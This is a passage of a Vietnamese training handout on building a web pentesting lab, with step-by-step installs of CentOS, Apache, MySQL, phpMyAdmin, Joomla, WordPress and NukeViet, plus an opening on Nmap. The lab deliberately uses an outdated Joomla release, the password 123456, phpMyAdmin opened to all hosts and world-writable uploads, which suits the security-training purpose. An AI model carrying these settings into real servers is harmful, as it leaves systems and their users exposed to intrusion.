129
1

Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

  • Upload
    others

  • View
    6

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

1

Page 2: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

2

Mục lục Phần 1: Cài đặt môi trường Webserver cho việc tiến hành thử nghiệm Pentesting ...... 3

1. Nguyên lý hoạt động webserver ........................................................................................ 3

2. Remote từ xa tới webserver ................................................................................................ 5

3. Install Ubuntu/CentOS ........................................................................................................ 10

4. Install Apache ....................................................................................................................... 14

5. Install MySQL + PHP ........................................................................................................... 14

6. Install PhpMyAdmin ............................................................................................................ 17

7. Install Joomla/Wordpress/NukeViet ................................................................................ 19

8. Install XAMP, Vertrigo ......................................................................................................... 32

Phần 2: Scan lỗ hổng web ................................................................................................ 38

1. Nmap ....................................................................................................................................... 38

2. Các công cụ scan Joomla.................................................................................................. 41

3. Sử dụng Acunetix, ZAP và các công cụ scan web khác. .......................................... 50

Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY ....................................... 60

1. Các loại tấn công trên Joomla .......................................................................................... 61

2. Các loại tấn công trên Liferay Portal .............................................................................. 72

3. SQL Injection ......................................................................................................................... 73

4 XSS (Cross Site Scripting) ................................................................................................. 80

5 Joomla Security Plugin ...................................................................................................... 85

6 Htaccess ................................................................................................................................. 86

7 Cài đặt công cụ bảo mật Modsecurity ............................................................................ 89

Phần 4: Tăng cường bảo mật website với https và hsts .............................................. 97

1. Giao thức HTTP ........................................................................................................................ 98

2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign ......... 104

3. Cài đặt SSL trên webserver và kích hoạt https ............................................................. 115

4. Scan HTTP version ................................................................................................................ 116

5. Chuyển hướng webserver chạy HTTPS thay vì HTTP ................................................. 118

6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver............................................ 119

Phần 5: ICT Index ............................................................................................................ 125

1. Giới thiệu ................................................................................................................................. 126

2. Nội dung ................................................................................................................................... 127

3. Ví dụ về Việt Nam ICT Index 2017: .................................................................................... 128

Page 3: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

3

Phần 1: Cài đặt môi trường Webserver cho việc tiến hành

thử nghiệm Pentesting 1. Nguyên lý hoạt động webserver

2. Remote từ xa tới webserver

3. Install Ubuntu/CentOS

4. Install Apache

5. Install MySQL + PHP

6. Install PhpMyAdmin

7. Install Joomla/Wordpress/NukeViet

8. Install XAMP, Vertrigo

1. Nguyên lý hoạt động webserver

"Web server" có thể là phần cứng hoặc phần mềm, hoặc cả hai.

1. Ở khía cạnh phần cứng, một web server là một máy tính lưu trữ các file thành phần

của một website (ví dụ: các tài liệu HTML, các file ảnh, CSS và các file JavaScript)

và có thể phân phát chúng tới thiết bị của người dùng cuối (end-user). Nó kết nối tới

mạng Internet và có thể truy cập tới thông qua một tên miền giống như mozilla.org.

2. Ở khía cạnh phần mềm, một web server bao gồm một số phần để điều khiển cách

người sử dụng web truy cập tới các file được lưu trữ trên một HTTP server(máy chủ

HTTP). Một HTTP server là một phần mềm hiểu được các URL (các địa chỉ web) và

HTTP

Ở mức cơ bản nhất, bất cứ khi nào một trình duyệt cần một file được lưu trữ trên một

web server, trình duyệt request (yêu cầu) file đó thông qua HTTP. Khi một request tới

đúng web server (phần cứng), HTTP server (phần mềm) gửi tài liệu được yêu cầu trở

lại, cũng thông qua HTTP.

Để release một website, chúng ta cần một static hoặc dynamic web server.

Một static web server, hoặc stack, bao gồm một máy tính (hardware) với một HTTP

server (phần mềm). Chúng ta gọi nó là "static" bởi vì server (máy chủ) gửi các file nó lưu

trữ "nguyên vẹn" (as-is) tới trình duyệt mà ta đang chạy.

Một dynamic web server bao gồm một static web server cộng với các phần mềm mở

rộng, phổ biến nhất là một application server (máy chủ ứng dụng) và một database.

Chúng ta gọi nó là "dynamic" bởi vì application server cập nhật các file được lưu trữ

trước khi gửi chúng tới tình duyệt của chúng ta thông qua HTTP server.

Tìm hiểu sâu hơn

Để lấy một trang web, như đã nói, trình duyệt sẽ gửi một request tới web server, nó sẽ

tìm kiếm file được yêu cầu được lưu trữ trên ổ đĩa của nó. Khi tìm thấy file, server đọc

nó, xử lý nếu cần, và gửi nó tới trình duyệt.

Lưu trữ các file (Hosting files)

Đầu tiên, một web server phải lưu trữ các file của website, đó là các tài liệu HTML và

các tài nguyên liên quan đến nó, bao gồm các ảnh, file CSS, file JavaScript, fonts và

videos.

Page 4: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

4

Về mặt kỹ thuật, ta có thể lưu trữ tất cả các file trên máy tính của mình, nhưng có nhiều

lợi ích hơn khi lưu trữ chúng trên một máy chủ riêng biệt như:

luôn luôn sẵn sàng (up and running)

luôn luôn kết nối tới mạng Internet

có một địa chỉ IP cố định

được bảo dưỡng bởi nhà cung cấp (third-party provider)

Giao tiếp thông qua HTTP

Thứ hai, một web server hỗ trợ HTTP (Giao thức truyền phát siêu văn bản - Hypertext

Transfer Protocol). Như tên gọi, HTTP là cách truyền các siêu văn bản - hypertext (ví dụ:

các tài liệu web) giữa hai máy tính.

Một giao thức là một tập hợp các quy tắc để kết nối giữa hai máy tính. HTTP là một giao

thức textual, stateless.

Textual

Tất cả các lệnh là văn bản thuần túy (plain-text) và con người có thể đọc được.

Stateless

Cả server và client không nhớ kết nối trước đó. Ví dụ, nếu chỉ có HTTP, một server

không thể nhớ mật khẩu ta đã nhập hoặc bước nào mà chúng ta đã làm trong một giao

dịch. Ta cần một application server cho những nhiệm vụ như vậy.

HTTP cung cấp các quy tắc rõ ràng, về cách một client và server giao tiếp với nhau. Bây

giờ, ta chỉ cần biết những thứ này:

Chỉ client có thể tạo các HTTP request tới các server. Các server chỉ có thể đáp trả

HTTP request của client.

Khi yêu cầu một file thông qua HTTP, client phải cung cấp URL của file.

Web server phải trả lời mọi HTTP request, ít nhất với một thông điệp lỗi (error

message).

Trên một web server, HTTP server chịu trách nhiệm xử lý và trả lời các request đến.

1. Khi nhận một request, một HTTP server sẽ kiểm tra xem URL được yêu cầu có khớp

với một file hiện có không.

2. Nếu có, web server gửi nội dung file trả lại trình duyệt. Nếu không, một application

server sẽ tạo ra file cần thiết.

3. Nếu không thể xử lý, web server trả lại một thông điệp lỗi cho trình duyệt, phổ biến

nhất là "404 Not Found". (Đó là lỗi phổ biến, cái mà nhiều nhà thiết kế web dành khá

nhiều thời gian để thiết kế 404 error page).

Nội dung static vs dynamic

- Nói chung, một server có thể phục vụ cả nội dung static hoặc dynamic. "Static" có

nghĩa là "được phục vụ nguyên vẹn" (served as-is). Các static website là dễ dàng

nhất để thiết lập, vì thế nên tạo một static site trước tiên.

Page 5: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

5

- "Dynamic" có nghĩa là server xử lý nội dung hoặc thậm chí tạo ra chúng với dữ liệu

từ database. Giải pháp này linh hoạt hơn, nhưng stack kỹ thuật trở lên khó khăn hơn

để xử lý, làm cho việc xây dựng website trở lên phức tạp hơn.

- Lấy ví dụ trang web mà ta đang đọc hiện nay. Một web server lưu trữ (hosting) nó,

có một application server lấy nội dung bài viết từ một database, định dạng nó, đẩy nó

vào trong HTTP template, và gửi kết quả cho chúng ta. Trong trường hợp này,

application server được gọi là Kuma và được xây dựng với Python (sử dụng

framework Django). Mozilla team xây dựng Kuma cho nhu cầu riêng của MDN,

nhưng nhiều ứng dụng tương tự được xây dựng trên nhiều công nghệ khác.

- Có rất nhiều application server và thật khó để gợi ý cụ thể. Một vài application server

phục vụ các loại website cụ thể như: blogs, wikis, hay e-shop, được gọi là CMSs

(các hệ quản trị nội dung - content management systems).

2. Remote từ xa tới webserver

- Server cho phép client remote từ xa:

o Linux (centOS, Ubuntu, …)

o Windows (Windows Server 2003,2008,2012,2016,…)

- Linux Server:

o X2Go (dành cho Graphic mode)

Server (Linux)

Install EPEL: rpm -ivh

http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-

1.noarch.rpm

Install X2Go Server:

o yum -y install x2goserver-xsession

install graphical Desktop environment trên CentOS Server:

o yum -y groupinstall "Xfce"

o reboot

Nếu có sử dụng firewall thì cho phép ssh kết nối vào Server:

o firewall-cmd --permanent --zone=public --add-

service=ssh

o firewall-cmd –reload

Client (Windows or Linux)

Download X2Go Client: https://code.x2go.org/releases/binary-

win32/x2goclient/releases/4.1.1.1-2018.03.01/ dành cho

Windows

Mở X2Go và cấu hình:

Page 6: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

6

Tab session:

o Session name: XFCE

o Host: <IP server, ex: 192.168.1.11>

o Login: <username, ex: root>

o Session type: XFCE

Tab Connection:

o Connection speed: LAN nếu dùng nội bộ

o Method: 16m-jpeg

o Image quality: 7

Tab Media:

o Sound: Uncheck enable sound support

o Client side printing support: Uncheck

Sau khi cấu hình xong, nhấn vào XFCE kế bên icon

Page 7: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

7

Nhập password => OK

Note: Chọn Yes nếu có yêu cầu xác thực RSA key

Note: Chọn Use default nếu không có thay đổi nào

Giao diện XFCE sau khi remote vào server sử dụng GUI

o SSH (dành cho Text mode):

Sử dụng các tools remote hỗ trợ text mode:

Putty:

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

dành cho Windows

Page 8: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

8

o Note: Chọn Yes nếu có thông báo bất kì

Xshell (version 5)

https://www.netsarang.com/download/down_form.html?code=6

22

Nhập các thông tin bên dưới:

o License type: chọn Home & School user

o Check Email để lấy link download file.

- Windows Server:

o Sử dụng Remote Desktop Connection

Windows Server phải cho phép client Remote bằng cách Enable

Remote (tích vào ô Allow connections from computers running any

version of Remote Desktop (less secure)):

Page 9: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

9

Từ máy client mở Remote Desktop Connection và nhập IP server

Nhập User và password thuộc Server

Chọn Yes để xác thực yêu cầu Certificate

Page 10: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

10

Giao diện remote đến Server

Các tools khác: Forticlient, Teamviewer, AeroAdmin, …

3. Install Ubuntu/CentOS

- Chuẩn bị:

o VMWare workstation 12

o File CentOS minimum (định dạng iso)

- Tiến hành:

o Khởi tạo Vmware cài CentOS với cấu hình như sau:

Full name: điền họ tên đầy đủ

Username: tên đăng nhập vào Server

Password: mật khẩu đăng nhập vào Server (mật khẩu áp dụng cho cả

user root)

Maximum disk size: 10GB

Memory: 512MB

Network Adapter: Bridged (Automatic)

Page 11: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

11

o Tiến hành khởi động Server

o Nếu xuất hiện thông báo chọn Yes

o Trên giao diện, chọn DATE & TIME

Page 12: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

12

o Chọn khu vực Việt Nam, sau đó Done

o Chọn NETWORK & HOSTNAME

o Góc bên phải ta nhấn On để kích hoạt interface network

- Ở bên dưới phần Host name: ta có thể chỉnh sửa lại để mặc định, sau đó Done

Page 13: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

13

o Chọn SOFTWARE SELECTION

o Tích vào Minimal Install, sau đó Done

o Kéo xuống dưới và nhấn Begin Installation để tiến hành cài đặt CentOS

Page 14: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

14

Giao diện sau khi cài đặt CentOS xong

4. Install Apache

- Tiến hành clean-up yum

- Update để có các package mới nhất

- Bắt đầu install apache

- Nếu có sử dụng Firewall trên centOS

o Cho port HTTP và HTTPS mặc định, là port 80 và 443 được phép đi qua

Firewalld

o Khởi động lại firewall

- Cấu hình để Apache luôn chạy khi Boot

o Khởi động Apache:

o Apache sẽ hoạt động khi boot với command

- Các lệnh hữu ích cho Apache

o Kiểm tra trạng thái hiện tại của Apache

o Dừng Apache

Mở trình duyệt và gõ IP hoặc tên host của server CentOS để kiểm tra chắc chắn Apache

đã hoạt động.

5. Install MySQL + PHP

a. Install MySQL

Page 15: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

15

- Update system

- Install wget để download các gói cần thiết từ website cụ thể

- Tải và thêm repository, sau đó update

- Cài đặt MySQL như bình thường và start dịch vụ. Trong quá trình cài đặt, bạn sẽ

được hỏi nếu chấp nhận kết quả từ xác thực GPG của file định dạng rpm. Nếu

không có lỗi gì xuất hiện thì nhấn y.

- Sau khi install xong, tiến hành cài đặt cho lần đầu truy cập MySQL

=> Enter

=> set root password : Y

=> Đặt password cho tài khoản root access vào MySQL

- Để đăng nhập vào MySQL với tài khoản root

o No sẽ nhắc nhập password cho root mà bạn dã gán khi script

mysql_secure_installation đã chạy.

- Để kiểm tra toàn bộ các command có trong MySQL, dùng \h

Page 16: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

16

b. Install PHP

- PHP là thành phần xử lý code để hiển thị nội dung web động. Nó có thể chạy các

script, kết nối đến database MySQL để lấy thông tin, và chuyển nội dung được xử lí

đến webserver để hiển thị.

- Tiến hành install php và php-mysql:

- Restart lại httpd để php hoạt động

- Để cải tiến thêm các chức năng của PHP, chúng ta có tìm thêm các module cần thiết

cho PHP, để tìm các module PHP có sẳn, sử dụng câu lệnh

o Yum search php-

- Được kết quả

Page 17: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

17

- Để tiến hành install toàn bộ các module ta dùng command:

o Yum –y install php*

- Note: nếu có xảy ra lỗi conflict module đã install thì chúng ta sẽ chỉnh command lại

như sau:

o Yum –y install php* --skip-broken

- Tiến hành test PHP trên CentOS bằng cách tạo info.php trong /var/www/html/ với

command

o Sudo vi /var/www/html/info.php

- Điền nội dung:

o <?php phpinfo(); ?>

o sau đó save file lại

- Test bằng trình duyệt web với url: http://<IP server>/info.php

6. Install PhpMyAdmin

- Tiến hành install epel-release lấy repo chứa PHPMyAdmin

Page 18: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

18

o Yum –y install epel-release

- Cài đặt phpmyadmin

o Yum –y install phpmyadmin

- Chỉnh sửa lại các thông số cần thiết

o Vi /etc/httpd/conf.d/phpMyAdmin.conf

o Tab <Directory /usr/share/phpMyAdmin>

Tab <RequireAny> của Apache 2.4

Comment Require ip 127.0.0.1

Comment Require ip ::1

Thêm Require all granted

Tab <RequireAny> của Apache 2.2

Comment Allow from 127.0.0.1

Comment Allow from ::1

Thêm Require all granted

o Tab < Directory /usr/share/phpMyAdmin/setup/>

Tab <RequireAny> của Apache 2.4

Comment Require ip 127.0.0.1

Comment Require ip ::1

Thêm Require all granted

Tab <RequireAny> của Apache 2.2

Comment Allow from 127.0.0.1

Comment Allow from ::1

Thêm Require all granted

o Save file.

- Khởi động lại httpd để phpmyadmin hoạt động

o Systemctl restart httpd

- Khởi động phpmyadmin trên trình duyệt với url

o http://<Ip server>/phpmyadmin

o Username : root

o Password : <là mật khẩu đã đặt cho root lúc cài đặt MySQL>

- Giao diện chính của phpmyadmin sau khi đăng nhập

Page 19: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

19

7. Install Joomla/Wordpress/NukeViet

a. Install Joomla

- Vào database với user root và password của root

o Mysql –u root –p

o Enter password: <password của root>

- Tạo cơ sở dữ liệu joomla

o CREATE DATABASE joomla;

- Tạo user cho CSDL joomla với password 123456

o CREATE USER [email protected] IDENTIFIED BY ‘123456’;

- Cuối cùng gán quyền cho user này

o GRANT ALL ON joomla.* TO [email protected]

- Để user hiện tại có thể access vào MySQL

o Flush privileges;

- Thoát MySQL

o Exit

- Sauk hi tạo xong database, tiến hành download Joomla về với command

o Cd /tmp

o Wget https://downloads.joomla.org/cms/joomla15/1-5-26/joomla_1-5-26-stable-

full_package-zip?format=zip

o Mv joomla_1-5-26-stable-full_package-zip?format=zip joomla-1-5-0.zip

- Tiến hành giải nén file đã tải vào thư mục joomla đã tạo phía trên:

o sudo unzip -q joomla*.zip -d /var/www/html

o Note: Nếu server chưa cài đặt trình giải nén thì tiến hành cài đặt:

Yum –y install zip unzip

- Thay đổi ownership của thư mục sang Apache2 và permission

o Sudo chown –R apache:apache /var/www/html/

o Sudo chmod 755 /var/www/html/

- Restart Apache2

o Service httpd restart

- Tiến hành Install joomla thông qua trình duyệt web với url

o http://<IP server>/

- Có giao diện:

Page 20: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

20

- Select Language: có thể chọn English hoặc Tiếng Việt tùy ý

- Chọn Next

Page 21: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

21

- Cấu hình chính:

o Database Configuration:

Database Type: MySQLi

Hostname: localhost

Username: root

Password: <pass MySQL của root>

Database Name: joomla

- Chọn No => Next

Page 22: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

22

Main Configuration

Site name: Cyborg Security

Confirm the Admin E-mail and Password

Email: [email protected]

Password: 123456

Confirm Administrator Password: 123456

o Note: Password có thể thay đổi trong MySQL

Click Install sample Data

Sau đó nhấn Next

- Đến đây đã install joomla thành công

- Xóa file installation trong joomla sau khi install:

Page 23: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

23

o Rm –rf /var/www/html/joomla/installation

- Chạy lệnh sau nếu không tìm thấy configuration.php trong folder

/var/www/html/joomla

o chcon -R -t httpd_sys_rw_content_t /var/www/html

- Tạo thư mục joomla trong /var/www/html và move toàn bộ file trong html vào thư

mục joomla

o Mkdir /var/www/html/joomla

o Mv /var/www/html/* /var/www/html/joomla

o Note: nếu xuất hiện lỗi: mv: cannot move ‘/var/www/html/joomla’ to a

subdirectory of itself, ‘/var/www/html/joomla/joomla’ thì có thể bỏ qua

- Restart httpd:

o Service httpd restart hoặc systemctl restart httpd

- Mở trang chính của joomla theo url

o http://<IP server>/jl

- Đăng nhập bằng admin/123456

Page 24: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

24

b. Install Wordpress

- Tạo thư mục wordpress trong /var/www/html

o Mkdir wordpress /var/www/html

- Vào database với user root và password của root

o Mysql –u root –p

o Enter password: <password của root>

- Tạo cơ sở dữ liệu JoomlaDB

o CREATE DATABASE WordpressDB;

- Tạo user cho CSDL WordpressDB với password 123456

o CREATE USER [email protected] IDENTIFIED BY

‘123456’;

- Cuối cùng gán quyền cho user này

o GRANT ALL ON WordpressDB.* TO [email protected]

- Để user hiện tại có thể access vào MySQL

o Flush privileges;

- Thoát MySQL

o Exit

- Restart Apache

o Service httpd restart

- Tiến hành tải file wordpress từ trang chủ

o Cd /tmp

o Wget http://wordpress.org/latest.tar.gz

- Giải nén file:

o Tar xzvf latest.tar.gz

- Move toàn bộ file trong thư mục wordpress vào /var/www/html/wordpress, set quyền

và set owner cho wordpress

o Mv wordpress/* var/www/html/wordpress

o Chmod –R 755 /var/www/html/wordpress

o Chown –R apache:apache /var/www/html/wordpress/

- Đổi tên wp-config-sample.php thành wp-config.php

o Cp wp-config-sample.php wp-config.php

- Cấu hình và chỉnh sửa lại để tiến hành install wordpress

o vi wp-config.php

Page 25: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

25

o Dòng define('DB_NAME', 'database_name_here');

Database_name_here => WordpressDB

o Dòng define('DB_USER', username_here);

Username_here => root

o Dòng define('DB_PASSWORD', 'password_here');

Password_here => password của root trong MySQL

- Save file

- Restart Apache

o Service httpd restart

- Mở trình duyệt, nhập URL

o http://<IP server>/wordpress

- Cấu hình chính:

o Site Title: Cyborg Security

o Username: wordpressuser

o Password: 123456

Note: có thể thay đổi trong MySQL

o Confirm Password: checked

o Your Email: [email protected]

o Search Engine: checked

o Nhấn Install Wordpress

- Giao diện complete

Page 26: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

26

- Nhấn Login

o Username: wordpressuser

o Password : 123456

- Đã install thành công Wordpress

Page 27: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

27

c. Install NukeViet

- Tạo thư mục wordpress trong /var/www/html

o Mkdir nukeviet /var/www/html

- Vào database với user root và password của root

o Mysql –u root –p

o Enter password: <password của root>

- Tạo cơ sở dữ liệu JoomlaDB

o CREATE DATABASE NukevietDB;

- Tạo user cho CSDL NukevietDB với password 123456

o CREATE USER [email protected] IDENTIFIED BY ‘123456’;

- Cuối cùng gán quyền cho user này

o GRANT ALL ON NukevietDB.* TO [email protected]

- Để user hiện tại có thể access vào MySQL

o Flush privileges;

- Thoát MySQL

o Exit

- Restart Apache

o Service httpd restart

- Tiến hành tải file wordpress từ trang chủ

o Cd /tmp

o Wget

https://github.com/nukeviet/nukeviet/releases/download/4.3.01/nukeviet

4.3.01setup.zip

- Giải nén file:

o unzip -q nukeviet4.3.01setup.zip -d /var/www/html/

- Set quyền và set owner cho nukeviet

o Chmod –R 755 /var/www/html/nukeviet

o Chown –R apache:apache /var/www/html/nukeviet/

- Giao diện chính với URL:

o http://<Ip sever>/nukeviet

Page 28: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

28

Nhấn Next

- Nếu toàn bộ đều là OK có thể nhấn Next

o Trường hợp bị fail là do chưa set chmod cho thư mục nukeviet

o Để set :

Chmod –R 755 /var/www/html/nukeviet

- Nhấn Next

Page 29: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

29

- PHP version not compatible: PHP yêu cầu phiên bản lớn hơn 5.6 và nhỏ hơn 7.2

- Check version PHP của server

o Php –v

- Tiến hành update PHP từ version 5.4.16 lên version 5.6 bằng các command sau:

o yum remove php*

o rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm

o yum -y install yum-utils

o yum update

o yum-config-manager --enable remi-php70

o yum -y install php php-opcache php-pdo php-gd php-xml php-mbstring php-

pecl-zip php-mysql

o systemctl restart httpd.service

- F5 trình duyệt và xem lại

- Nhấn Next

Page 30: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

30

- Database Configuration

o Database Type: MySQL 5.x/MariaDB

o Hostname: localhost / Port: 3306

o Username: root

o Password: mật khẩu của root

o Database Name: NukevietDB

o Prefix: nv4

o Nhấn Submit

- Website Info

o Site Name: Cyborg Security

o Admin Account: nukevietuser

o Email: [email protected]

o Password: 123456

o Re-Enter password: 12345678x@X

o Select Question: Đặt câu hỏi bất kì

o Your Answer: Chọn câu trả lời bất kì

o Multi-language Website: check nếu muốn đa ngôn ngữ

o Nhấn Submit

Page 31: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

31

- Hoàn thành setup Nukeviet4

- Chmod thư mục upload cùng thư mục con sang 777

o Chmod 777 -R /var/www/html/nukeviet/uploads

- Trang admin

- Trang chủ

Page 32: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

32

8. Install XAMP, Vertrigo

a. XAMPP: https://www.apachefriends.org/download.html => tùy vào phiên

bản của Windows 32 hay 64 mà download cho phù hợp.

- Install:

o Chọn Next

Page 33: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

33

- Chọn các component muốn Install, sau đó nhấn Next.

- Chọn đường dẫn để install XAMP -> Next

- Mặc định nhấn Next đến khi tiến trình bắt đầu install

- Chờ đợi quá trình Install

Page 34: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

34

- Chọn finish và 1 cửa sổ xuất hiện

- Chọn cờ USA -> save

- Start Apache và MySQL service.

Page 35: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

35

- Mở trình duyệt và đi tới localhost, đã install XAMP

- Link chứa các file html or php: C:\xampp\htdocs

- Có thể install Wordpress, Joomla hay Nukeviet tại thư mục này.

b. Vertrigo: https://www.vswamp.com/ => tùy vào version của Windows mà

chọn download thích hợp

- Install:

- Chọn ngôn ngữ phù hợp -> OK -> Next

Page 36: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

36

- Tiến hành để cấu hình mặc định hoặc chỉnh sửa cho phù hợp, Sau đó Next đến khi tiến trình

bắt đầu cài đặt

- Chờ đợi quá trình install hoàn tất -> finish

- Chọn Hide this windows and start server

Page 37: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

37

- Link chứa các file html, php hoặc folder chính để hiển thị trên browser: C:\Program

Files\VertrigoServ\www

- Nếu muốn xem username và password của PhpmyAdmin hoặc các account có liên

quan:

o Chọn Help and readme

Page 38: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

38

Phần 2: Scan lỗ hổng web - Mục tiêu: Sử dụng công cụ và tương tác bằng tay để quét và thống kê cấu trúc

website, scan tìm kiếm lỗ hổng website.

- Nội dung:

o Sử dụng nmap

o Các công cụ scan joomla

o Sử dụng Acunetix, ZAP và các công cụ scan web khác.

o Trường hợp manual

o Trích xuất report.

1. Nmap

a. Khái niệm

- Nmap là một công cụ bảo mật được phát triển bởi Floydor, ban đầu nó chỉ là một

tool *nix nhưng về sau đã phát triển rất mạnh mẽ phù hợp với nhiều nền tảng và

phát triển cả giao diện UI.

